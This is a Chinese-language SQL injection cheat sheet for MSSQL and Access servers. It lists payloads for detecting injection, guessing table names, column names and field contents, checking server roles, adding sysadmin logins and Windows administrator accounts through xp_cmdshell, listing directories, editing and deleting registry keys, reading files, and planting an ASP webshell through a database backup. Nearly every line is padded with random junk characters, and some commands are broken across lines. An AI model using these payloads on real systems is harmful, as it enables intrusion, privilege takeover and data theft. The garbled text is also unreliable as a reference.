1.判断是否有注入;and 1=1 ;and 1=2 /+f3jy:d
2.初步判断是否是mssql ;and user>0 jk5C2dy
Lasi)e=$<
3.注入参数是字符'and [查询条件] and ''=' t8Giv89{
3EyVoS6D
4.搜索时没过滤参数的'and [查询条件] and '%25'=' m"vWu0/#
uD4$<rSHb
5.判断数据库系统 _%<qZT
@&2#kO~=
;and (select count(*) from sysobjects)>0 mssql (?z"_\^n/
yj
mNeZ
;and (select count(*) from msysobjects)>0 access O2Tna<cR&
I0OfK3!^
-aIB_
hFDo{yI
6.猜数据库 ;and (select Count(*) from [数据库名])>0 CoM?cS S
9j$ J}=y
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 !p3vnOX6
D=~3N
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 S{JBV@@tC
-nk0Q_7N
9.(1)猜字段的ascii值(access) Og"\@n
3Oe\l[?$;
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 @BqSu|'Du,
A@n//AZM
(2)猜字段的ascii值(mssql) 9w$+Qc
M;E$ ]Z9
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 iuEQ?fp
d'b q#r
10.测试权限结构(mssql) %~qY\>
J\\o#-H
u]Dds;~"b
?yAjxoE~?
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- *vu
>2K:O\&
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ]PZ\N~T
~Q5
i0s%
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- _E
xd:
E7|P\^}m(f
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- rTM0[2N
jUy$aGX
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2-gI@8NPI
xu*dPG)v
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- "y=AVO
*x&y24
;and 1=(select IS_MEMBER('db_owner'));-- ]o*-|[^?
hB-<GGcO <
{&.?u1C.\
"9!CsloWhz
11.添加mssql和系统的帐户 vaj-|&
IsP!ZcV;
;exec master.dbo.sp_addlogin username;-- TAZ+2S# #7
;exec master.dbo.sp_password null,username,password;-- Mt+ggF.
l*n4d[0J
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- JiCy77H
s@5r}6?M
;exec master.dbo.xp_cmdshell 'net user username password O@? *5
)`
90*
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Bhw|!Y&%
^ot9Q
;exec master.dbo.xp_cmdshell 'net user username password /add';-- kIYV%O
?\![W5uuXG
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- |iB
svI:
~QE- $;
#"aL M6Cfs
FK.Qj P:
12.(1)遍历目录 V2_I=]p_
jd?NN:7
;create table dirs(paths varchar(100), id int) -XARew
%&b70]S(
;insert dirs exec master.dbo.xp_dirtree 'c:\' ^Ts8nOGMh
qn|~z@"
;and (select top 1 paths from dirs)>0 gPg2Ve0Qy
odC}RdN
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) hXz@ (cF
+K03yphZr
MuQ'L=i J
iZDZ/hohv
(2)遍历目录 ]~-vU{
2@#`x"0
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- _=RK
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 .>{I S4
Bwg\_:vq
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Gmp`3
S K7b]J>
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 w0 0Ba^W
*q |3QHZ
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
C#4/~+
caC(KK#<
O\KSPy7YQ
SHT ^Etri
13.mssql中的存储过程 <P4*7:jX
f!aE/e\
xp_regenumvalues 注册表根键, 子键 LX_{39?<{
;(,1pi7|
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ZP^7`q)6
I`8jJpGA
xp_regread 根键,子键,键值名 <{UjO
`Aa*}1
;exec xp_regread zaoC
Wx-vWWx*Q
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 wx%TQ!
-C<Ni
xp_regwrite 根键,子键, 值名, 值类型, 值 bem-T`>'
\w+a Q?e_
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 z^=e3~-J
y OLqIvN
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 BbdJR]N/!h
a5xmIp@6
xp_regdeletevalue 根键,子键,值名 "ZLujpZcG
@ME
.
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 N_Y*Z`Xb
mtn+bV
R%
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 2>!?EIE7
EU"J'?
Y94/tjt
&33.mdBH
14.mssql的backup创建webshell .a *^6TC.
j}$Up7pW
use model wz(D
}N5
>hbT'Or@
create table cmd(str image); {#'M3z=
V9Gk``F<RZ
insert into cmd(str) values (''); 'fkaeFzOl
ie%_-
backup database model to disk='c:\l.asp'; lSk<euCYs
czv )D\*
=YRN"
^#A[cY2eM
15.mssql内置函数 *b
>hZkObn
r9d dVD
;and (select @@version)>0 获得Windows的版本号 t@O4!mFH
9M$N>[og
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ko%B`
$ZOKB9QccC
;and (select user_name())>0 爆当前系统的连接用户 (66DKG
p>@S61
&
[
;and (select db_name())>0 得到当前连接的数据库 c&JYbq
U
DC>iHt
A,)G$yT\
]
336FgT
16.简洁的webshell "Nn+Zw43
)QvuoaJQ
use model +$x;FT&
w>W`8P_b@
create table cmd(str image); T|&2!Sh
^sjL@.'m$N
insert into cmd(str) values (''); L!]~J?)
pt!Q%rXm
backup database model to disk='g:\wwwtest\l.asp';